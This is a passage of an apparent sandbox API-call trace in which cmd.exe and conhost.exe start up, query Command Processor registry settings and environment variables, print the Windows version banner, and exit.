_String2="PAUSE") returned -11 [0291.090] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0291.090] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0291.090] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0291.090] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0291.090] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0291.090] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0291.090] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0291.090] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0291.090] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0291.090] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0291.090] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0291.090] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0291.090] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0291.090] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0291.090] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0291.090] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0291.090] ??_V@YAXPEAX@Z () returned 0x1 [0291.090] GetProcessHeap () returned 0x29f96d20000 [0291.090] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x14) returned 0x29f96d20810 [0291.090] GetProcessHeap () returned 0x29f96d20000 [0291.090] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1a) returned 0x29f96d26ef0 [0291.090] GetProcessHeap () returned 0x29f96d20000 [0291.090] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x21c) returned 0x29f96d217d0 [0291.090] GetConsoleTitleW (in: lpConsoleTitle=0x29f96d217e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0291.091] GetProcessHeap () returned 0x29f96d20000 [0291.091] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d217d0, Size=0x82) returned 0x29f96d217d0 [0291.091] GetProcessHeap () returned 0x29f96d20000 [0291.091] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d217d0) returned 0x82 [0291.091] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0291.093] GetProcessHeap () returned 0x29f96d20000 [0291.093] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d217d0) returned 1 [0291.093] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0291.094] exit (_Code=2) Thread: id = 3474 os_tid = 0xb5c Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x7c375000" os_pid = "0xba0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x2740" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3453 os_tid = 0x26b0 Thread: id = 3464 os_tid = 0x2780 Thread: id = 3466 os_tid = 0x27b4 Thread: id = 3469 os_tid = 0x274c Thread: id = 3471 os_tid = 0x27c4 Thread: id = 3472 os_tid = 0x27bc Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7b55f000" os_pid = "0x27b0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xdac" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3465 os_tid = 0x2758 [0288.939] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff783ff0000 [0288.939] __set_app_type (_Type=0x1) [0288.939] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff784006d00) returned 0x0 [0288.939] __getmainargs (in: _Argc=0x7ff784029200, _Argv=0x7ff784029208, _Env=0x7ff784029210, _DoWildCard=0, _StartInfo=0x7ff78402921c | out: _Argc=0x7ff784029200, _Argv=0x7ff784029208, _Env=0x7ff784029210) returned 0 [0288.940] _onexit (_Func=0x7ff784007fd0) returned 0x7ff784007fd0 [0288.940] _onexit (_Func=0x7ff784007fe0) returned 0x7ff784007fe0 [0288.940] _onexit (_Func=0x7ff784007ff0) returned 0x7ff784007ff0 [0288.940] _onexit (_Func=0x7ff784008000) returned 0x7ff784008000 [0288.941] _onexit (_Func=0x7ff784008010) returned 0x7ff784008010 [0288.941] _onexit (_Func=0x7ff784008020) returned 0x7ff784008020 [0288.941] GetCurrentThreadId () returned 0x2758 [0288.941] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2758) returned 0x70 [0288.941] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffa96710000 [0288.942] GetProcAddress (hModule=0x7ffa96710000, lpProcName="SetThreadUILanguage") returned 0x7ffa9672a990 [0288.942] SetThreadUILanguage (LangId=0x0) returned 0x409 [0289.535] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0289.535] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe1ab58fd88 | out: phkResult=0xe1ab58fd88*=0x0) returned 0x2 [0289.536] VirtualQuery (in: lpAddress=0xe1ab58fd74, lpBuffer=0xe1ab58fcf0, dwLength=0x30 | out: lpBuffer=0xe1ab58fcf0*(BaseAddress=0xe1ab58f000, AllocationBase=0xe1ab490000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0289.536] VirtualQuery (in: lpAddress=0xe1ab490000, lpBuffer=0xe1ab58fcf0, dwLength=0x30 | out: lpBuffer=0xe1ab58fcf0*(BaseAddress=0xe1ab490000, AllocationBase=0xe1ab490000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0289.536] VirtualQuery (in: lpAddress=0xe1ab491000, lpBuffer=0xe1ab58fcf0, dwLength=0x30 | out: lpBuffer=0xe1ab58fcf0*(BaseAddress=0xe1ab491000, AllocationBase=0xe1ab490000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0289.536] VirtualQuery (in: lpAddress=0xe1ab494000, lpBuffer=0xe1ab58fcf0, dwLength=0x30 | out: lpBuffer=0xe1ab58fcf0*(BaseAddress=0xe1ab494000, AllocationBase=0xe1ab490000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0289.536] VirtualQuery (in: lpAddress=0xe1ab590000, lpBuffer=0xe1ab58fcf0, dwLength=0x30 | out: lpBuffer=0xe1ab58fcf0*(BaseAddress=0xe1ab590000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffc68a, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0289.536] GetConsoleOutputCP () returned 0x1b5 [0289.829] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0289.829] SetConsoleCtrlHandler (HandlerRoutine=0x7ff784018150, Add=1) returned 1 [0289.829] _get_osfhandle (_FileHandle=1) returned 0x1184 [0289.829] GetConsoleMode (in: hConsoleHandle=0x1184, lpMode=0x7ff78402fc04 | out: lpMode=0x7ff78402fc04) returned 0 [0289.829] _get_osfhandle (_FileHandle=0) returned 0x1088 [0289.829] GetConsoleMode (in: hConsoleHandle=0x1088, lpMode=0x7ff78402fc00 | out: lpMode=0x7ff78402fc00) returned 0 [0289.829] _get_osfhandle (_FileHandle=1) returned 0x1184 [0289.829] SetConsoleMode (hConsoleHandle=0x1184, dwMode=0x0) returned 0 [0289.829] _get_osfhandle (_FileHandle=1) returned 0x1184 [0289.829] GetConsoleMode (in: hConsoleHandle=0x1184, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0289.829] _get_osfhandle (_FileHandle=0) returned 0x1088 [0289.829] GetConsoleMode (in: hConsoleHandle=0x1088, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0289.829] GetEnvironmentStringsW () returned 0x24997875a40* [0289.830] GetProcessHeap () returned 0x24997870000 [0289.830] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0xab6) returned 0x24997876500 [0289.830] FreeEnvironmentStringsA (penv="=") returned 1 [0289.830] GetProcessHeap () returned 0x24997870000 [0289.830] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0x8) returned 0x24997875a40 [0289.830] GetEnvironmentStringsW () returned 0x24997876fd0* [0289.830] GetProcessHeap () returned 0x24997870000 [0289.830] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0xab6) returned 0x24997877a90 [0289.830] FreeEnvironmentStringsA (penv="=") returned 1 [0289.830] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe1ab58ec38 | out: phkResult=0xe1ab58ec38*=0x7c) returned 0x0 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x0, lpData=0xe1ab58ec50*=0x4, lpcbData=0xe1ab58ec34*=0x1000) returned 0x2 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x1, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x0, lpData=0xe1ab58ec50*=0x1, lpcbData=0xe1ab58ec34*=0x1000) returned 0x2 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x0, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x40, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x40, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.830] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x0, lpData=0xe1ab58ec50*=0x40, lpcbData=0xe1ab58ec34*=0x1000) returned 0x2 [0289.830] RegCloseKey (hKey=0x7c) returned 0x0 [0289.831] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe1ab58ec38 | out: phkResult=0xe1ab58ec38*=0x7c) returned 0x0 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x0, lpData=0xe1ab58ec50*=0x40, lpcbData=0xe1ab58ec34*=0x1000) returned 0x2 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x1, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x0, lpData=0xe1ab58ec50*=0x1, lpcbData=0xe1ab58ec34*=0x1000) returned 0x2 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x0, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x9, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x4, lpData=0xe1ab58ec50*=0x9, lpcbData=0xe1ab58ec34*=0x4) returned 0x0 [0289.831] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe1ab58ec30, lpData=0xe1ab58ec50, lpcbData=0xe1ab58ec34*=0x1000 | out: lpType=0xe1ab58ec30*=0x0, lpData=0xe1ab58ec50*=0x9, lpcbData=0xe1ab58ec34*=0x1000) returned 0x2 [0289.831] RegCloseKey (hKey=0x7c) returned 0x0 [0289.831] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccc41ba [0289.831] srand (_Seed=0x5ccc41ba) [0289.831] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0289.831] malloc (_Size=0x4000) returned 0x24997a85530 [0289.831] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0289.832] malloc (_Size=0xffce) returned 0x24997a90080 [0289.832] ??_V@YAXPEAX@Z () returned 0x24997a90080 [0289.832] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24997a90080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0289.832] malloc (_Size=0xffce) returned 0x24997aa0060 [0289.832] ??_V@YAXPEAX@Z () returned 0x24997aa0060 [0289.833] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24997aa0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0289.833] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0289.833] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0289.833] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0289.833] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0289.833] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0289.833] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0289.833] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0289.833] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0289.833] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0289.833] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0289.833] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0289.833] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0289.833] GetProcessHeap () returned 0x24997870000 [0289.833] RtlFreeHeap (HeapHandle=0x24997870000, Flags=0x0, BaseAddress=0x24997876500) returned 1 [0289.833] GetEnvironmentStringsW () returned 0x24997875a60* [0289.833] GetProcessHeap () returned 0x24997870000 [0289.833] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0xace) returned 0x24997876540 [0289.834] FreeEnvironmentStringsA (penv="=") returned 1 [0289.834] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0289.834] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0289.834] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0289.834] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0289.834] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0289.834] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0289.834] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0289.834] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0289.834] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0289.834] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0289.834] malloc (_Size=0xffce) returned 0x24997ab0040 [0289.834] ??_V@YAXPEAX@Z () returned 0x24997ab0040 [0289.834] GetProcessHeap () returned 0x24997870000 [0289.834] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0x38) returned 0x24997878580 [0289.834] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24997ab0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0289.835] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x24997ab0040, lpFilePart=0xe1ab58f7b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xe1ab58f7b0*="system32") returned 0x13 [0289.835] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0289.835] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xe1ab58f4e0 | out: lpFindFileData=0xe1ab58f4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x249978785c0 [0289.835] FindClose (in: hFindFile=0x249978785c0 | out: hFindFile=0x249978785c0) returned 1 [0289.835] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xe1ab58f4e0 | out: lpFindFileData=0xe1ab58f4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x2b1f7a17, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x2b1f7a17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x249978785c0 [0289.835] FindClose (in: hFindFile=0x249978785c0 | out: hFindFile=0x249978785c0) returned 1 [0289.835] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0289.835] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0289.836] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0289.836] GetProcessHeap () returned 0x24997870000 [0289.836] RtlFreeHeap (HeapHandle=0x24997870000, Flags=0x0, BaseAddress=0x24997876540) returned 1 [0289.836] GetEnvironmentStringsW () returned 0x24997875a60* [0289.836] GetProcessHeap () returned 0x24997870000 [0289.836] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0xafe) returned 0x24997876570 [0289.836] FreeEnvironmentStringsA (penv="=") returned 1 [0289.836] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24997a90080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0289.836] GetProcessHeap () returned 0x24997870000 [0289.836] RtlFreeHeap (HeapHandle=0x24997870000, Flags=0x0, BaseAddress=0x24997878580) returned 1 [0289.836] ??_V@YAXPEAX@Z () returned 0x1 [0289.836] ??_V@YAXPEAX@Z () returned 0x1 [0289.836] GetProcessHeap () returned 0x24997870000 [0289.836] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x8, Size=0x4016) returned 0x24997878580 [0289.836] GetProcessHeap () returned 0x24997870000 [0289.836] RtlFreeHeap (HeapHandle=0x24997870000, Flags=0x0, BaseAddress=0x24997878580) returned 1 [0289.836] GetConsoleOutputCP () returned 0x1b5 [0289.926] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0289.926] GetUserDefaultLCID () returned 0x409 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff78402bb78, cchData=8 | out: lpLCData=":") returned 2 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe1ab58fb70, cchData=128 | out: lpLCData="0") returned 2 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe1ab58fb70, cchData=128 | out: lpLCData="0") returned 2 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe1ab58fb70, cchData=128 | out: lpLCData="1") returned 2 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff78402bb68, cchData=8 | out: lpLCData="/") returned 2 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff78402bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff78402bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff78402ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff78402ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff78402ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff78402b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff78402b980, cchData=32 | out: lpLCData="Sun") returned 4 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff78402bb58, cchData=8 | out: lpLCData=".") returned 2 [0289.927] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff78402bb40, cchData=8 | out: lpLCData=",") returned 2 [0289.927] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0289.929] GetProcessHeap () returned 0x24997870000 [0289.929] RtlAllocateHeap (HeapHandle=0x24997870000, Flags=0x0, Size=0x20c) returned 0x249978770f0 [0289.929] GetConsoleTitleW (in: lpConsoleTitle=0x249978770f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0290.066] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.066] GetFileType (hFile=0x1184) returned 0x3 [0290.066] ApiSetQueryApiSetPresence () returned 0x0 [0290.066] ResolveDelayLoadedAPI () returned 0x7ffa8e35d990 [0290.068] BrandingFormatString () returned 0x249978762f0 [0290.074] GetVersion () returned 0x3ad7000a [0290.074] _vsnwprintf (in: _Buffer=0xe1ab58fcd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xe1ab58fc68 | out: _Buffer="10.0.15063") returned 10 [0290.074] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.074] GetFileType (hFile=0x1184) returned 0x3 [0290.074] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0290.074] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0xe1ab58fc70 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0290.074] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0290.074] WriteFile (in: hFile=0x1184, lpBuffer=0x7ff784029970, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xe1ab58fbc8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xe1ab58fbc8, lpOverlapped=0x0) returned 0 [0290.074] GetLastError () returned 0xe8 [0290.074] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe1ab58fc98 | out: _Buffer="\r\n") returned 2 [0290.074] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.075] GetFileType (hFile=0x1184) returned 0x3 [0290.075] _get_osfhandle (_FileHandle=1) returned 0x1184 [0290.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0290.075] WriteFile (in: hFile=0x1184, lpBuffer=0x7ff784029970, nNumberOfBytesToWrite=0x2, 